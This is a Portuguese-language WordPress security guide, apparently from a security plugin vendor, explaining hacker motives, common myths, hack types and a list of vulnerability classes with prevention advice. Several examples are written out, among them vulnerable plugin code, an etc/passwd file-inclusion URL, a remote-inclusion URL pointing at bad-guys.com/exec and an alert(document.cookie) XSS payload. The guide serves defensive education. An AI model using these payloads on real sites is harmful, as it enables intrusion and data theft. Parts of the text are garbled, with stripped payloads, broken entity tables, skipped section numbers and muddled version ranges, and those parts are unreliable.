Escolha uma Página

A segurança do WordPress pode ser intimidante, mas não precisa ser. Neste guia abrangente para a segurança do WordPress, simplificamos os fundamentos da proteção do seu site WordPress para que qualquer pessoa não técnica possa entender e proteger o site contra ataques de hackers.

Este guia de segurança do WordPress é dividido em 10 seções de fácil digestão. Cada seção o guiará por um aspecto específico da segurança do WordPress. No final do guia, você aprenderá os diferentes tipos de vulnerabilidades, os motivos dos hackers e como proteger tudo, desde o seu servidor até os usuários individuais do seu site WordPress.

Vamos mergulhar!

Seção 1: o WordPress é seguro?

O WordPress é seguro? A resposta curta é sim.

O WordPress alimenta quase 40% de todos os sites da Internet. Uma das principais razões para a popularidade do WordPress é que ele é uma plataforma muito segura para construir qualquer coisa, desde um blog a uma grande loja virtual de comércio eletrônico.

O WordPress tem problemas de segurança?

Embora o WordPress em si seja seguro, evitar erros de segurança do WordPress requer um pouco de esforço dos proprietários de sites. A verdade é que o maior problema de segurança do WordPress são seus usuários. A maioria dos hacks do WordPress na plataforma pode ser evitada com um pouco de esforço dos proprietários do site.

Não se preocupe, nós ajudamos você. Este guia ensinará tudo o que você precisa saber sobre como manter seu site seguro.

Antes de podermos proteger nossos sites, devemos primeiro entender cinco coisas.

  1. Por que hackers atacam sites
  2. Os diferentes tipos de hacks do WordPress
  3. Tipos específicos de vulnerabilidades do WordPress
  4. Como prevenir vulnerabilidades do WordPress
  5. Como determinar a gravidade de uma vulnerabilidade

Por que um hacker atacaria meu site?

Esta é uma pergunta comum de segurança do WordPress que você pode fazer quando seu pior pesadelo começar a se tornar realidade. Por que um hacker atacaria meu site? Fique tranquilo, as chances de o ataque ser pessoal são quase nulas. Os hackers têm motivos subjacentes que nada têm a ver com o conteúdo do seu site. Os hackers normalmente não se importam se seu site é uma página de caridade para cachorros sem-teto ou um site com toneladas de produtos legais à venda.

No entanto, é difícil não se sentir alvo quando uma identidade sem rosto invadiu seu site, causando caos e turbulência. Você se sente estressado e como se a situação estivesse saindo do seu controle. Você se sente pessoalmente atacado e se pergunta se havia uma maneira de impedir que o ataque acontecesse. Você pode até se perguntar se há algum salvamento dos destroços do seu site.

Então, o que faz um hacker atacar um site? Não tem nada a ver com o seu site, os tópicos que ele cobre ou qualquer coisa assim. Na realidade, os hackers têm como alvo o software que seu site usa para se manter ativo e em execução. Ao hackear esse software, eles podem roubar dados confidenciais do cliente ou até mesmo assumir o controle do seu site WordPress.

Infelizmente, com sua popularidade crescente, o WordPress também se tornou um alvo para hackers. Se um plugin popular do WordPress tem uma vulnerabilidade séria, um hacker tem o potencial de assumir centenas de milhares, senão milhões de sites. Felizmente, a maioria das vulnerabilidades de plug-ins são corrigidas rapidamente por seus desenvolvedores.

Ao conseguir obter informações confidenciais e privadas, os hackers podem vendê-las para obter uma receita ou até mesmo reter o resgate dos dados, essencialmente fazendo com que as pessoas paguem para ter suas informações de volta em boas mãos.

Então, qual é a principal motivação dos hackers?

Para criar fluxo de caixa para eles mesmos.

A Internet é um lugar lucrativo que oferece a todas as esferas da vida a oportunidade de gerar um salário mínimo. No entanto, isso não significa que todo mundo faça isso de uma maneira legal e moralista. Os hackers estão lucrando muito mesmo com o menor site.

Dinheiro é toda a motivação de que precisam, mas alguns desfrutam da sensação de poder que obtêm quando conseguem violar um site da Web, mas a grande maioria está no negócio apenas pelo dinheiro.

Seção 2: os 5 principais mitos de segurança do WordPress desmascarados

Antes de pularmos para o restante deste guia de segurança do WordPress, vamos tomar um minuto para desmascarar alguns mitos de segurança do WordPress.

Você encontrará muitos conselhos de segurança do WordPress circulando pela Internet, de pessoas bem-intencionadas que realmente querem ajudar. Infelizmente, alguns desses conselhos são baseados em mitos de segurança do WordPress e não adicionam nenhuma segurança adicional ao seu site WordPress. Na verdade, algumas “dicas” de segurança do WordPress podem aumentar a probabilidade de você encontrar problemas e conflitos.

Temos muitos mitos de segurança do WordPress para escolher, mas vamos nos concentrar apenas nos cinco principais que temos visto consistentemente em mais de 30.000 tíquetes de suporte. Essas conversas com nossos clientes foram usadas como base para os seguintes critérios de seleção dos principais mitos de segurança do WordPress:

  1. A frequência com que o mito foi mencionado.
  2. O número de dores de cabeça que o mito causou.
  3. A falsa sensação de segurança que o mito proporciona.

1. Você deve ocultar seu URL / wp-admin ou / wp-login (também conhecido como ocultar backend)

A ideia por trás de esconder o wp-admin é que os hackers não podem hackear o que não encontram. Se o seu URL de login não for o WordPress / wp-admin / URL padrão, você não está protegido contra ataques de força bruta?

A verdade é que a maioria dos recursos do Hide Backend são simplesmente segurança através da obscuridade, o que não é uma estratégia de segurança WordPress à prova de balas. Embora ocultar o URL wp-admin do back-end possa ajudar a mitigar alguns dos ataques ao seu login, essa abordagem não impedirá todos eles.

Freqüentemente recebemos tíquetes de suporte de pessoas que estão perplexas com a forma como o iThemes Security Pro está relatando tentativas de login inválidas quando ocultam seu login. Isso ocorre porque existem outras maneiras de fazer login em seus sites WordPress além de usar um navegador, como usar XML-RPC ou a API REST. Sem mencionar que depois de alterar o URL de login, outro plugin ou tema ainda pode ser vinculado ao novo URL.

Na verdade, o recurso Hide Backend não muda nada. Sim, evita que a maioria dos usuários acesse diretamente o URL de login padrão. Mas depois que alguém insere o URL de login personalizado, eles são redirecionados de volta para o URL de login padrão do WordPress.

Personalizar o URL de login também é conhecido por causar conflitos. Existem alguns plug-ins, temas ou aplicativos de terceiros que codificam wp-login.php em sua base de código. Portanto, quando um pedaço de software codificado está procurando seusite.com/wp-login.php, ele encontra um erro.

2. Você deve ocultar o nome do tema e o número da versão do WordPress

Se você usar as ferramentas de desenvolvedor do seu navegador, poderá ver rapidamente o nome do tema e o número da versão do WordPress em execução em um site do WordPress. A teoria por trás de ocultar o nome do tema e a versão do WP é que, se os invasores tiverem essas informações, eles terão o plano para invadir o seu site.

Por exemplo, olhando para a captura de tela acima, você pode ver que este site está usando o Twenty Twenty-One e a versão do WordPress é 5.6.

O problema com esse mito de segurança do WordPress é que não há um cara real por trás de um teclado procurando a combinação perfeita de tema e número de versão do WordPress para atacar. No entanto, existem bots estúpidos que vasculham a Internet em busca de vulnerabilidades conhecidas no código real em execução no seu site, portanto, ocultar o nome do tema e o número da versão do WP não o protegerá.

3. Você deve renomear seu diretório wp-content

O diretório wp-content contém seus plug-ins, temas e pasta de uploads de mídia. Isso é uma tonelada de coisas boas e código executável em um único diretório, então é compreensível que as pessoas queiram ser proativas e proteger esta pasta.

Infelizmente, é um mito de segurança do WordPress que alterar o nome do wp-content adicionará uma camada extra de segurança ao site. Não vai. Podemos encontrar facilmente o nome de seu diretório wp-content alterado usando as ferramentas de desenvolvedor do navegador. Na captura de tela abaixo, podemos ver que renomeei o diretório de conteúdo deste site para / test /.

diretório de conteúdo alterado

Alterar o nome do diretório não adicionará nenhuma segurança ao seu site, mas pode causar conflitos para plug-ins que possuem o caminho do diretório / wp-content / codificado.

4. Meu site não é grande o suficiente para chamar a atenção de hackers

Esse mito de segurança do WordPress deixa muitos sites vulneráveis ​​a ataques. Mesmo se você for o proprietário de um site minúsculo com baixo tráfego, ainda é crucial para você ser proativo na proteção do seu site.

Mesmo se você for o proprietário de um site minúsculo com baixo tráfego, ainda é crucial para você ser proativo na proteção do seu site.

A verdade é que seu site ou empresa não precisa ser grande para chamar a atenção de um possível invasor. Os hackers ainda veem uma oportunidade de usar seu site como um canal para redirecionar alguns de seus visitantes a sites maliciosos, enviar spam de seu servidor de e-mail, espalhar vírus ou até mesmo minerar Bitcoin. Eles vão levar tudo o que puderem.

5. WordPress é uma plataforma insegura

O mito de segurança mais prejudicial do WordPress é que o próprio WordPress é inseguro. Isto simplesmente não é verdade. WordPress é o sistema de gerenciamento de conteúdo mais popular do mundo, e não ficou assim por não levar a segurança a sério.

Seção 3: Hacks do WordPress e vulnerabilidades do WordPress

4 tipos de Hacks para WordPress

Quando se trata de entender a segurança do WordPress, é importante entender

1. Spam de SEO

Outra motivação para um hacker atacar seu site é obter os benefícios do spam de SEO. SEO, ou otimização de mecanismo de pesquisa, é o que os mecanismos de pesquisa usam para indexar ou classificar seu site. Ao usar certas palavras-chave, colocadas estrategicamente em suas páginas da web e postagens de blog, você pode ajudar seu site a ter uma classificação mais elevada nas pesquisas do Google. Isso irá direcionar o tráfego para o seu site e pode ajudá-lo a obter um lucro que valerá seu tempo.

Hackers sabem tudo sobre SEO e usam isso a seu favor. Quando o seu site for comprometido, os hackers irão instalar um backdoor em seu site. Isso permite que eles controlem suas palavras-chave e o conteúdo do site remotamente. Freqüentemente, eles redirecionam o tráfego do seu site, direcionando-o diretamente para o deles, passando completamente pelo seu.

Isso deixará seu público-alvo confuso e frustrado, destruindo a reputação e a credibilidade do seu site. Os visitantes do seu site serão frequentemente redirecionados para sites que são obviamente golpes e hesitarão em revisitar seu site no futuro.

Como se isso não bastasse, os hackers que usam essa abordagem fazem seu site parecer ruim para os mecanismos de pesquisa, não apenas para outros seres humanos. Seu site não parecerá mais legítimo e sua classificação despencará rapidamente. Sem uma alta classificação nas pesquisas, seu site se tornará um dos milhões que nunca obtém mais do que alguns acessos por mês.

2. Injeções de malware

Muitos hackers atacam seu site com a intenção de infectá-lo com malware. Malware são pequenos pedaços de código que podem ser usados ​​para fazer alterações maliciosas em seu site. Se o seu site for infectado com malware, é importante ser alertado o mais rápido possível.

Cada minuto que o malware permanece no seu site, ele está causando mais danos ao seu site. Quanto mais danos ao seu site, mais tempo você levará para limpá-lo e restaurá-lo. É vital verificar a integridade do seu site, verificando regularmente se há malware. É por isso que é fundamental verificar continuamente a integridade do seu site, procurando por malware.

3. Ransomware

Um hacker pode querer atacar seu site para mantê-lo como resgate. Ransomware se refere a quando um hacker assume o controle do seu site e não o libera de volta para você, a menos que você pague uma taxa elevada. O tempo médio de inatividade de um ataque de ransomware é de 9,5 dias. Quanta receita você teria em 10 dias sem vendas?

O resgate médio que os hackers estão solicitando aumentou dramaticamente, de $ 294 em 2015 para bem mais de $ 13.000 em 2020. Com esses tipos de pagamentos, o negócio do crime online não está diminuindo. Está se tornando cada vez mais crítico proteger e proteger adequadamente seu site à medida que comunidades criminosas como essa crescem.

4. Desfiguração do site

Alguns hackers podem atacar seu site para se divertir um pouco. Um estilo de hacking que é menos inerentemente malévolo é o dos defacers de sites. Normalmente, são crianças ou jovens adultos começando a brincar com suas habilidades de hacking. Eles fazem hacks como esses como uma forma de praticar e melhorar suas habilidades.

Quando falamos sobre um site sendo desfigurado, pense em graffiti. Os invasores irão alterar completamente a aparência do seu site, às vezes de forma divertida ou maluca. Defacers de sites típicos estão fazendo suas ações por diversão ou como uma forma de se exibir. Eles costumam postar fotos de seus crimes, tentando uns aos outros para ganhar o prêmio de melhor desfiguração.

A boa notícia é que essa forma de hackear é menos perigosa para você experimentar. Além disso, uma vez que são principalmente adolescentes e outros hackers amadores realizando a desfiguração, eles são mais fáceis de detectar e remover do seu site quando comparados a outras formas de malware. Eles normalmente podem ser detectados por scanners e removidos rapidamente.

21 vulnerabilidades comuns do WordPress explicadas

Infelizmente, existem vulnerabilidades do WordPress. Vulnerabilidades do WordPress podem existir em seus plug-ins, seus temas e até mesmo no núcleo do WordPress. E uma vez que o WordPress agora ativa quase 40% de todos os sites, a tarefa de entender as vulnerabilidades é ainda mais importante. Resumindo: você deve ficar atento à segurança do seu site.

Se você não é um especialista em segurança do WordPress, entender todas as várias vulnerabilidades do WordPress pode ser assustador. Também pode ser opressor tentar entender os diferentes níveis de gravidade de uma vulnerabilidade, juntamente com os riscos da vulnerabilidade do WordPress.

Este guia definirá as 21 vulnerabilidades mais comuns do WordPress, cobrirá como pontuar a gravidade de uma vulnerabilidade do WordPress, dará exemplos de como um hacker pode explorar a vulnerabilidade e mostrará como essas vulnerabilidades podem ser evitadas. Vamos mergulhar.

O que é uma vulnerabilidade do WordPress?

Uma vulnerabilidade do WordPress é uma fraqueza ou falha em um tema, plug-in ou núcleo do WordPress que pode ser explorado por um hacker. Em outras palavras, as vulnerabilidades do WordPress criam um ponto de entrada que um hacker pode usar para realizar atividades maliciosas.

Lembre-se de que a invasão de sites é quase totalmente automatizada. Por causa disso, os hackers podem facilmente invadir um grande número de sites em praticamente nenhum momento. Os hackers usam ferramentas especiais que fazem a varredura na Internet, em busca de vulnerabilidades conhecidas.

Hackers gostam de alvos fáceis, e ter um site que executa software com vulnerabilidades conhecidas é como entregar a um hacker as instruções passo a passo para invadir seu site WordPress, servidor, computador ou qualquer outro dispositivo conectado à Internet.

Nossos relatórios mensais de resumo de vulnerabilidades do WordPress cobrem todo o núcleo do WordPress divulgado publicamente, plug-in do WordPress e vulnerabilidades de tema. Nessas comparações, compartilhamos o nome do plugin ou tema vulnerável, as versões afetadas e o tipo de vulnerabilidade.

O que é vulnerabilidade de dia zero?

UMA vulnerabilidade de dia zero é uma vulnerabilidade que foi divulgada publicamente antes de o desenvolvedor lançar um patch para a vulnerabilidade.

Quando se trata de segurança do WordPress, é importante entender a definição de uma vulnerabilidade de dia zero. Como a vulnerabilidade foi divulgada ao público, o desenvolvedor dia zero para corrigir a vulnerabilidade. E isso pode ter grandes implicações para seus plug-ins e temas.

Normalmente, um pesquisador de segurança descobrirá uma vulnerabilidade e divulgará em particular a vulnerabilidade para os desenvolvedores da empresa que possuem o software. O pesquisador de segurança e o desenvolvedor concordam que todos os detalhes serão publicados assim que um patch for disponibilizado. Pode haver um pequeno atraso na divulgação da vulnerabilidade após o lançamento do patch para dar a mais pessoas tempo para atualizar as principais vulnerabilidades de segurança.

No entanto, se um desenvolvedor não responder ao pesquisador de segurança ou deixar de fornecer um patch para a vulnerabilidade, o pesquisador pode divulgar publicamente a vulnerabilidade para pressionar o desenvolvedor a emitir um patch.

Revelar publicamente uma vulnerabilidade e aparentemente introduzir um dia zero pode parecer contraproducente. Mas, é a única alavanca que um pesquisador tem para pressionar o desenvolvedor a corrigir a vulnerabilidade.

Do Google Projeto Zero tem diretrizes semelhantes quando se trata de divulgar vulnerabilidades. Eles publicam todos os detalhes da vulnerabilidade após 90 dias. Se a vulnerabilidade foi corrigida ou não.

A vulnerabilidade está aí para qualquer pessoa encontrar. Se um hacker encontrar a vulnerabilidade antes que o desenvolvedor libere um patch, ele se torna o pior pesadelo do usuário final…. Um dia zero ativamente explorado.

O que é uma vulnerabilidade de dia zero ativamente explorada?

A Vulnerabilidade de dia zero ativamente explorada é exatamente o que parece. É uma vulnerabilidade não corrigida que os hackers têm como alvo, atacam e exploram ativamente.

No final de 2018, os hackers exploravam ativamente uma vulnerabilidade grave do WordPress no plugin WP GDPR Compliance. A exploração permitiu que usuários não autorizados – mais sobre isso na próxima seção – modificassem as configurações de registro do usuário do WP e alterassem a nova função de usuário padrão de assinante para administrador.

Esses hackers descobriram essa vulnerabilidade antes do plug-in de conformidade WP GDPR e dos pesquisadores de segurança. Portanto, qualquer site que tivesse o plugin instalado era uma marca fácil e garantida para os cibercriminosos.

Como se proteger de uma vulnerabilidade de dia zero

A melhor maneira de proteger o seu site de uma vulnerabilidade Zero-Day é desativar e remover o software até que a vulnerabilidade seja corrigida. Felizmente, os desenvolvedores do plugin WP GDPR Compliance agiram rápido e lançaram um patch para a vulnerabilidade no dia seguinte à sua divulgação pública.

Vulnerabilidades não corrigidas tornam seu site um alvo fácil para hackers.

Vulnerabilidades não autenticadas vs. autenticadas do WordPress

Existem mais dois termos com os quais você precisa estar familiarizado ao falar sobre as vulnerabilidades do WordPress.

  1. Não autenticado – Uma vulnerabilidade WordPress não autenticada significa que qualquer um pode explorar a vulnerabilidade.
  2. Autenticado – Uma vulnerabilidade do WordPress autenticado significa que é necessário um usuário conectado para explorar.

Uma vulnerabilidade que exige um usuário autenticado é muito mais difícil de ser explorada por um hacker, especialmente se requer privilégios de administrador. E, se um hacker já possui um conjunto de credenciais de administrador, ele realmente não precisa explorar uma vulnerabilidade para causar estragos.

Há uma ressalva. Algumas vulnerabilidades autenticadas requerem apenas recursos de nível de assinante para serem exploradas. Se o seu site permite que qualquer pessoa se registre, realmente não há muita diferença entre isso e uma vulnerabilidade não autenticada.

Quando se trata de vulnerabilidades do WordPress, existem 21 tipos comuns de vulnerabilidades. Vamos cobrir cada um desses tipos de vulnerabilidade do WordPress.

1. Bypass de autenticação

A Bypass de autenticação A vulnerabilidade permite que um invasor ignore os requisitos de autenticação e execute tarefas normalmente reservadas para usuários autenticados.

A autenticação é o processo de verificação da identidade de um usuário. O WordPress exige que os usuários digitem um nome de usuário e uma senha para verificar sua identidade.

Exemplo de desvio de autenticação

Os aplicativos verificam a autenticação com base em um conjunto fixo de parâmetros. Um invasor pode modificar esses parâmetros para obter acesso a páginas da Web que normalmente exigem autenticação.

Um exemplo muito básico de algo assim é um parâmetro de autenticação no URL.

https:/my-website/some-plugint?param=authenticated¶m=no

O URL acima possui um parâmetro de autenticação com valor no. Assim, quando visitarmos esta página, seremos apresentados a uma mensagem informando que não estamos autorizados a visualizar as informações nesta página.

No entanto, se a verificação de autenticação foi mal codificada, um invasor pode modificar o parâmetro de autenticação para obter acesso à página privada.

https:/my-website/some-plugint?param=authenticated¶m=yes

Neste exemplo, um hacker pode alterar o valor de autenticação no URL para sim para ignorar o requisito de autenticação para visualizar a página.

Como evitar a prevenção de desvios de autenticação

Você pode ajudar a proteger seu site contra vulnerabilidades de autenticação quebrada usando a autenticação de dois fatores.

2. Vulnerabilidade de backdoor

UMA Porta dos fundos A vulnerabilidade permite que usuários autorizados e não autorizados contornem as medidas normais de segurança do WordPress e obtenham acesso de alto nível a um computador, servidor, site ou aplicativo.

Exemplo de backdoor

Um desenvolvedor cria um backdoor para que possa alternar rapidamente entre a codificação e o teste do código como um usuário administrador. Infelizmente, o desenvolvedor se esquece de remover o backdoor antes que o software seja lançado ao público.

Se um hacker encontrar a porta dos fundos, ele pode explorar o ponto de entrada para obter acesso de administrador ao software. Agora que o hacker tem acesso de administrador, ele pode fazer todos os tipos de ações maliciosas, como injetar malware ou roubar dados confidenciais.

Como prevenir uma porta dos fundos

Muitos backdoors podem ser resumidos em um problema, configuração incorreta de segurança. Os problemas de configuração incorreta de segurança do WordPress podem ser atenuados removendo quaisquer recursos não utilizados no código, mantendo todas as bibliotecas atualizadas e tornando as mensagens de erro mais gerais.

3. Vulnerabilidade de injeção de objeto PHP

UMA PHP Object-Injection vulnerabilidade ocorre quando um usuário envia uma entrada que não é higienizada (ou seja, caracteres ilegais não são removidos) antes de ser passada para o unserialized() Função PHP.

Exemplo de injeção de objeto PHP

Aqui está um exemplo do mundo real de uma vulnerabilidade de injeção de objeto PHP no plug-in Sample Ads Manager WordPress que foi originalmente relatado por sumofpwn.

O problema é devido a duas chamadas não seguras para desserializar () nos plugins sam-ajax-loader.php Arquivo. A entrada é obtida diretamente da solicitação POST, conforme pode ser visto no código a seguir.

if ( in_array( $action, $allowed_actions ) ) {
	switch ( $action ) {
		case 'sam_ajax_load_place':
			echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) );
			break;
	
		case 'sam_ajax_load_ads':
			if ( ( isset( $_POST('ads') ) && is_array( $_POST('ads') ) ) && isset( $_POST('wc') ) ) {
				$clauses = **unserialize( base64_decode( $_POST('wc') ) )**;

Esse problema pode resultar na entrada e execução de um código malicioso por um invasor.

Como evitar injeção de objeto PHP

Não use unserialize() função com entrada fornecida pelo usuário, use funções JSON.

4. Vulnerabilidade de script entre sites

A XSS ou a vulnerabilidade de Cross-Site Scripting ocorre quando um aplicativo da web permite que os usuários adicionem código personalizado no caminho da URL. Um invasor pode explorar a vulnerabilidade para executar código malicioso no navegador da vítima, criar um redirecionamento para um site malicioso ou sequestrar uma sessão de usuário.

Existem três tipos principais de XSS, refletidos. armazenado e baseado em DOM

5. Vulnerabilidade refletida de script entre sites

UMA XSS refletido ou Reflected Cross-Site Scripting ocorre quando um script malicioso é enviado em uma solicitação do cliente – uma solicitação feita por você em um navegador – para um servidor e é refletido de volta pelo servidor e executado por seu navegador.

Exemplo de script entre sites refletido

Digamos yourfavesite.com requer que você esteja logado para visualizar parte do conteúdo do site. E digamos que este site não codifique as entradas do usuário corretamente.

Um invasor pode tirar proveito dessa vulnerabilidade criando um link malicioso e compartilhando-o com usuários de yourfavesite.com em emails e publicações nas redes sociais.

O invasor usa uma ferramenta de encurtamento de URL para fazer com que o link malicioso pareça não ameaçador e muito clicável, yourfavesite.com/cool-stuff. Mas, quando você clica no link encurtado, o link completo é executado pelo seu navegador yourfavesite.com/cool-stuff?q=cool-stuff

Nota: A refletido XSS vulnerabilidade exigiria que um visitante clique no link do código malicioso para executar. UMA XSS armazenado O ataque requer apenas que a página que contém o comentário seja visitada. O código malicioso é executado a cada carregamento de página.

Agora que nosso vilão adicionou o comentário, todos os futuros visitantes desta página serão expostos ao seu script malicioso. O script está hospedado no site do bandido e tem a capacidade de sequestrar cookies de sessão de visitantes e yourfavesite.com contas.

Como evitar scripts entre sites armazenados

Regra # 1 no Folha de dicas de prevenção de cross-scripting OWASP é a codificação HTML antes de adicionar dados não confiáveis ​​aos elementos HTML.


...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... 
...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...

Codificando os seguintes caracteres para evite alternar para qualquer contexto de execução, como script, estilo ou manipuladores de eventos. O uso de entidades hexadecimais é recomendado na especificação.

 & --> &
 < --> <
 > --> >
 " --> "
 ' --> '

7. Vulnerabilidade de script entre sites baseada em modelo de objeto de documento

UMA XSS baseado em DOM ou a vulnerabilidade de script entre sites com base em modelo de objeto de documento ocorre quando o script do lado do cliente de um site grava dados fornecidos pelo usuário no Document Object Model (DOM). O site então lê a data do usuário no DOM e a envia para o navegador do visitante.

Se os dados fornecidos pelo usuário não forem tratados adequadamente, um invasor pode injetar um código malicioso que seria executado quando o site lê o código do DOM.

Nota: XSS refletido e armazenado são problemas do lado do servidor, enquanto o XSS baseado em DOM é um problema do cliente (navegador).

Exemplo de script entre sites baseado em modelo de objeto de documento

Uma maneira comum de explicar um ataque DOM XSS é uma página de boas-vindas personalizada. Depois de criar uma conta, digamos que yourfavesite.com você é redirecionado para uma página de boas-vindas personalizada para recebê-lo por nome usando o código abaixo. E o nome do usuário é codificado no URL.


Welcome!
Hi  
Welcome to yourfavesite.com! …

Portanto, teríamos um URL de yourfavesite.com/account?name=yourname.

Um invasor pode realizar um ataque XSS baseado em DOM enviando o seguinte URL para o novo usuário:

http://yourfavesite.com/account?name=

Quando o novo usuário clica no link, seu navegador envia uma solicitação de:

/ conta? nome =

para bad-guys.com. O site responde com a página que contém o código Javascript acima.

O navegador do novo usuário cria um objeto DOM para a página, no qual o document.location objeto contém a string:

http://www.bad-guys.com/account?name=

O código original na página não espera que o parâmetro padrão contenha marcação HTML, ecoando a marcação na página. Em seguida, o navegador do novo usuário renderizará a página e executará o script do invasor:

alert(document.cookie)
Como evitar scripts entre sites com base em DOM

Regra # 1 no Folha de dicas de prevenção de scripts entre sites OWASP Dom é um escape de HTML. Então, o JS foge antes de adicionar dados não confiáveis ​​ao subcontexto HTML dentro do contexto de execução.

Métodos HTML perigosos de exemplo:

Atributos

 element.innerHTML = " Tags and markup";
 element.outerHTML = " Tags and markup";

Métodos

 document.write(" Tags and markup");
 document.writeln(" Tags and markup");

Para fazer atualizações dinâmicas em HTML no DOM safe, o OWASP recomenda:

  1. Codificação HTML, e então
  2. JavaScript codificando todas as entradas não confiáveis, conforme mostrado nestes exemplos:
 element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
 element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
 document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");
 document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

8. Vulnerabilidade de falsificação de solicitação entre sites

UMA CSRF ou a vulnerabilidade Cross-Site Request Forgery ocorre quando um cibercriminoso engana um usuário para que ele execute ações indesejadas. O invasor falsifica a solicitação do usuário para um aplicativo.

Exemplo de falsificação de solicitação entre sites

Em nosso resumo de vulnerabilidades do WordPress de janeiro de 2020, relatamos sobre a vulnerabilidade de falsificação de solicitação entre sites encontrada no plug-in de snippets de código. (O plugin foi corrigido rapidamente na versão 2.14.0)

A falta de proteção CRSF do plugin permitiu que qualquer um falsificasse uma solicitação em nome de um administrador e injetasse código executável em um site vulnerável. Um invasor pode ter aproveitado essa vulnerabilidade para executar código mal-intencionado e até mesmo realizar um controle completo do site.

Como evitar falsificação de solicitação entre sites

A maioria das estruturas de codificação tem defesas de token sincronizadas integradas para proteger contra CSRF e devem ser usadas.

Existem também componentes externos como o Projeto Protetor CSRF que pode ser usado para proteger vulnerabilidades de PHP e Apache CSRF.

9. Vulnerabilidade de falsificação de solicitação do lado do servidor

UMA SSRF ou a vulnerabilidade do Server-Site Request Forger permite que um invasor engane um aplicativo do lado do servidor para fazer solicitações HTTP a um domínio arbitrário de sua escolha.

Exemplo de falsificação de solicitação do lado do servidor

Uma vulnerabilidade SSRF pode ser explorada para desencadear um ataque Reflected Cross-Site Scripting. Um invasor pode buscar um script malicioso em bad-guys.com e exibi-lo a todos os visitantes de um site.

Como evitar falsificação de solicitação do lado do servidor

A primeira etapa para mitigar vulnerabilidades de SSRF é validar as entradas. Por exemplo, se o seu servidor depende de URLs fornecidos pelo usuário para buscar arquivos diferentes, você deve validar o URL e permitir apenas hosts de destino em que você confia.

Para obter mais informações sobre a prevenção de SSRF, consulte o Folha de referências OWASP.

10. Vulnerabilidade de escalonamento de privilégio

UMA Escalonamento de privilégios A vulnerabilidade permite que um invasor execute tarefas que normalmente requerem privilégios de nível superior.

Exemplo de escalonamento de privilégio

Em nosso resumo de vulnerabilidades do WordPress de novembro de 2020, relatamos uma vulnerabilidade de escalonamento de privilégios encontrada no plug-in Ultimate Member (a vulnerabilidade foi corrigida na versão 2.1.12).

Um invasor pode fornecer um parâmetro de matriz para o wp_capabilities meta do usuário que define a função de um usuário. Durante o processo de registro, os detalhes de registro enviados foram passados ​​para o update_profile função, e quaisquer respectivos metadados que foram enviados, independentemente do que foi enviado, seriam atualizados para esse usuário recém-registrado.

A vulnerabilidade basicamente permitiu que um novo usuário solicitasse o administrador ao se registrar.

Como evitar o aumento de privilégios

O iThemes Security Pro pode ajudar a proteger o seu site contra o controle de acesso quebrado, restringindo o acesso do administrador a uma lista de dispositivos confiáveis.

11. Vulnerabilidade de execução remota de código

A RCE ou a vulnerabilidade de execução remota de código permite que um invasor acesse e faça alterações e até mesmo assuma o controle de um computador ou servidor.

Exemplo de execução remota de código

Em 2018, a Microsoft divulgou uma vulnerabilidade de execução remota de código encontrada no Excel.

Um invasor que explorar com êxito a vulnerabilidade pode executar código arbitrário no contexto do usuário atual. Se o usuário atual estiver conectado com direitos de usuário administrativo, um invasor poderá assumir o controle do sistema afetado. Um invasor pode então instalar programas; visualizar, alterar ou excluir dados; ou crie novas contas com direitos totais de usuário. Os usuários cujas contas são configuradas com menos direitos de usuário no sistema podem ser menos afetados do que os usuários que operam com direitos de usuário administrativo.

Como prevenir a execução remota de código

A maneira mais fácil de mitigar uma vulnerabilidade RCE é validar a entrada do usuário, filtrando e removendo quaisquer caracteres indesejados.

Nossa empresa controladora Liquid Web tem um ótimo artigo sobre impedindo a execução remota de código.

14. Vulnerabilidade de inclusão de arquivo

UMA Inclusão de arquivo A vulnerabilidade ocorre quando um aplicativo da web permite que o usuário envie dados para arquivos ou carregue arquivos para o servidor.

Existem dois tipos de vulnerabilidades de inclusão de arquivo, Local e Remoto.

15. Vulnerabilidade de inclusão de arquivo local

A LFI ou a vulnerabilidade de inclusão de arquivo local permite que um invasor leia e às vezes execute arquivos no servidor de um site.

Exemplo de inclusão de arquivo local

Vamos dar uma outra olhada em yourfavesite.com, onde os caminhos passaram para include declarações não são devidamente higienizadas. Por exemplo, vamos dar uma olhada no URL abaixo.

 yourfavesite.com/module.php?file=example.file

É possível que um invasor altere o parâmetro de URL para acessar um arquivo arbitrário no servidor.

 yourfavesite.com/module.php?file=etc/passwd

Alterar o valor do arquivo no URL pode permitir que um invasor visualize o conteúdo do arquivo psswd.

Como prevenir a inclusão de arquivos locais

Crie uma lista de arquivos permitidos que a página pode incluir e, em seguida, use um identificador para acessar o arquivo selecionado. Em seguida, bloqueie qualquer solicitação que contenha um identificador inválido.

16. Vulnerabilidade de inclusão de arquivo remoto

A RFI ou a vulnerabilidade de inclusão de arquivo remoto permite que um invasor inclua um arquivo, geralmente explorando mecanismos de “inclusão de arquivo dinâmico” implementados no aplicativo de destino.

Exemplo de inclusão de arquivo remoto

O WordPress Plugin WP com Spritz foi fechado no repositório WordPress.org porque tinha uma vulnerabilidade RFI.

Abaixo está o código-fonte da vulnerabilidade:

if(isset($_GET('url'))){
$content=file_get_contents($_GET('url'));

O código pode ser explorado alterando o valor do content.filter.php?url= valor. Por exemplo:

yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec
Prevenção de inclusão remota de arquivos

Crie uma lista de arquivos permitidos que a página pode incluir e, em seguida, use um identificador para acessar o arquivo selecionado. Em seguida, bloqueie qualquer solicitação que contenha um identificador inválido.

17. Vulnerabilidade de travamento de diretório

UMA Directory Traversal ou a vulnerabilidade File Traversal permite que um invasor leia arquivos arbitrários no servidor que está executando um aplicativo.

Exemplo de análise de diretório

As versões 5.7 - 5.03 do WordPress eram vulneráveis ​​a ataques de travessia de diretório porque não conseguiam verificar os dados de entrada do usuário de maneira adequada. Um invasor com acesso a uma conta com pelo menos author privilégios podem explorar a vulnerabilidade de travessia de diretório e executar código PHP malicioso no servidor subjacente, levando a um controle remoto completo.

Como evitar a travessia de diretório

Os desenvolvedores podem usar índices em vez de partes reais de nomes de arquivos ao modelar ou usar arquivos de idioma.

